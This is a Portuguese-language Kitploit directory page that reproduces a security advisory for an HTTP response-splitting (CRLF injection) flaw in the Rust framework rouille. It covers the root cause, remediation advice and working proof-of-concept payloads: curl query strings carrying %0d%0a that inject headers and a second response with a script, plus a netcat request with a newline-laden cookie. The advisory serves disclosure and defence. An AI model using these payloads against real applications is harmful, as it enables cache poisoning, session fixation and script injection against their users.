Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Aviso de Segurança: Divisão de Resposta HTTP via Valores de Cabeçalho de Resposta Não Validados (rouille) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Análise de VulnerabilidadesAnálise de CódigoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Aviso de Segurança: Divisão de Resposta HTTP via Valores de Cabeçalho de Resposta Não Validados (rouille)

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aviso de Segurança: Divisão de Resposta HTTP via Valores de Cabeçalho de Resposta Não Validados (rouille)

ID de CVE atribuído: CVE-2026-66746

Resumo

A rouille escreve valores de cabeçalho de resposta para o cliente sem verificar se contêm retorno de carro ou avanço de linha. Um aplicativo que coloca texto influenciado pelo atacante em um valor de cabeçalho, portanto, emite cabeçalhos extras, ou uma segunda resposta HTTP inteira, na rede.

Duas propriedades da rouille tornam isso atingível em código comum. Request::get_param decodifica percent-encoding, portanto %0d%0a em uma string de consulta se torna um CRLF real. E session::session copia o valor do próprio Cookie do cliente para Set-Cookie sem nenhuma validação.

Todas as outras pilhas HTTP Rust amplamente utilizadas rejeitam isso no nível de tipo: http::HeaderValue::from_str retorna para CR e LF, e é por isso que hyper, axum, actix-web e warp não estão expostas da mesma forma.

InvalidHeaderValue

Versões afetadas

URL do repositório: https://github.com/tomaka/rouille

Primeira versão afetada0.4.0 (2016-12-14) para o caminho do cabeçalho de resposta abaixo
Última versão afetada3.6.2 (2023-04-24), o lançamento atual
Corrigida emnenhuma versão corrigida no momento da escrita

Lançamentos anteriores a 0.4.0 emitem respostas por um caminho de código diferente que não foi examinado, portanto não se afirma nada sobre eles em nenhum dos sentidos. A reflexão session::session descrita no caminho B existe desde 0.3.2 (2016-12-02).

Gravidade

CWE-113 (Neutralização Incorreta de Sequências CRLF em Cabeçalhos HTTP), um caso específico de CWE-93 (Injeção de CRLF).

Pontuação base CVSS 4.0: 5.3 (Média) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Modelo de ameaça

O caminho A exige um atacante remoto e não autenticado e uma vítima que siga um link fornecido pelo atacante. O atacante precisa que o aplicativo coloque qualquer string derivada da requisição em um cabeçalho de resposta. Redirecionar para um parâmetro de consulta next ou return_to é o caso comum.

O caminho B exige apenas que o aplicativo chame session::session e leia o id da sessão. O atacante controla o próprio cabeçalho Cookie; portanto, por si só, isso é autoprovocado. Torna-se um ataque contra outras pessoas quando um cache compartilhado armazena a resposta dividida, ou quando combinado com outra forma de definir um cookie no navegador da vítima.

Causa raiz

rouille/src/lib.rs, linhas 624 a 640, repassa os valores diretamente:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes verifica apenas se os bytes são ASCII, e CR e LF são ASCII. tiny_http-0.12.0/src/common.rs, linhas 166 a 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

O valor é então gravado sem escaping. tiny_http-0.12.0/src/response.rs, linhas 99 a 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Caminho A, parâmetros de consulta decodificados por percent-encoding

Request::get_param decodifica escapes percentuais, então o chamador recebe caracteres de controle reais. rouille/src/lib.rs, linhas 928 a 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Caminho B, identificadores de sessão refletidos a partir da requisição

rouille/src/session.rs obtém a chave do cookie do cliente na linha 59 e a interpola no cabeçalho de resposta nas linhas 75 a 81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Prova de Conceito

Caminho A

Passo 1. Inicie um servidor que redireciona para um parâmetro de consulta.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Passo 2. Faça a requisição com %0d%0a no parâmetro.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Resultado. X-Injected chega como um cabeçalho próprio:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Passo 3. Estenda o payload para além do fim dos cabeçalhos para emitir uma segunda resposta completa.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Resultado. Uma requisição, duas respostas completas. A segunda carrega uma linha de status, um tipo de conteúdo e um corpo escolhidos pelo atacante:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Caminho B

Passo 1. Inicie um servidor usando o padrão de sessão documentado.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Passo 2. Envie um cookie cujo valor contém um LF puro. \n abaixo é um único avanço de linha, \r\n é um CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Resultado. O valor escapa do Set-Cookie para uma linha própria:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

O caminho B tem três limitações que valem a pena notar. Apenas um LF puro passa, porque um CRLF teria encerrado a linha do cabeçalho no tiny_http, portanto o cliente ou o cache precisa tratar um LF isolado como terminador. Tudo após o ponto de injeção ainda carrega o sufixo ; Max-Age=3600; Path=/; HttpOnly do mesmo format!; logo, a primitiva é um cabeçalho com uma string final fixa, e não um cabeçalho arbitrário limpo. E o atacante controla apenas o próprio cookie. O caminho A não tem nenhuma dessas limitações.

Impacto

Execução de script no contexto de segurança da origem, envenenamento de cache no qual um cache compartilhado armazena a resposta injetada associada à URL da vítima, fixação de sessão por meio de um Set-Cookie injetado e substituição de cabeçalhos de segurança como CSP ou CORS. Como o caminho A produz um CRLF real, todo cliente e todo cache dividem a resposta nesse ponto.

Remediação

Valide os valores de cabeçalho em Server::process antes de entregá-los ao tiny_http, em rouille/src/lib.rs por volta da linha 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Retorne um 500 para a resposta inteira em vez de descartar o cabeçalho problemático, para que a falha fique visível em vez de alterar silenciosamente a resposta.

Valide também a chave de sessão em session::session: rejeite um valor de cookie que não seja [A-Za-z0-9]+ e gere um novo id em vez disso. Verificar em Response::with_additional_header, with_unique_header e nos construtores redirect_* revelaria o erro no local da chamada, onde o autor do aplicativo pode agir sobre ele.

Baixar ferramenta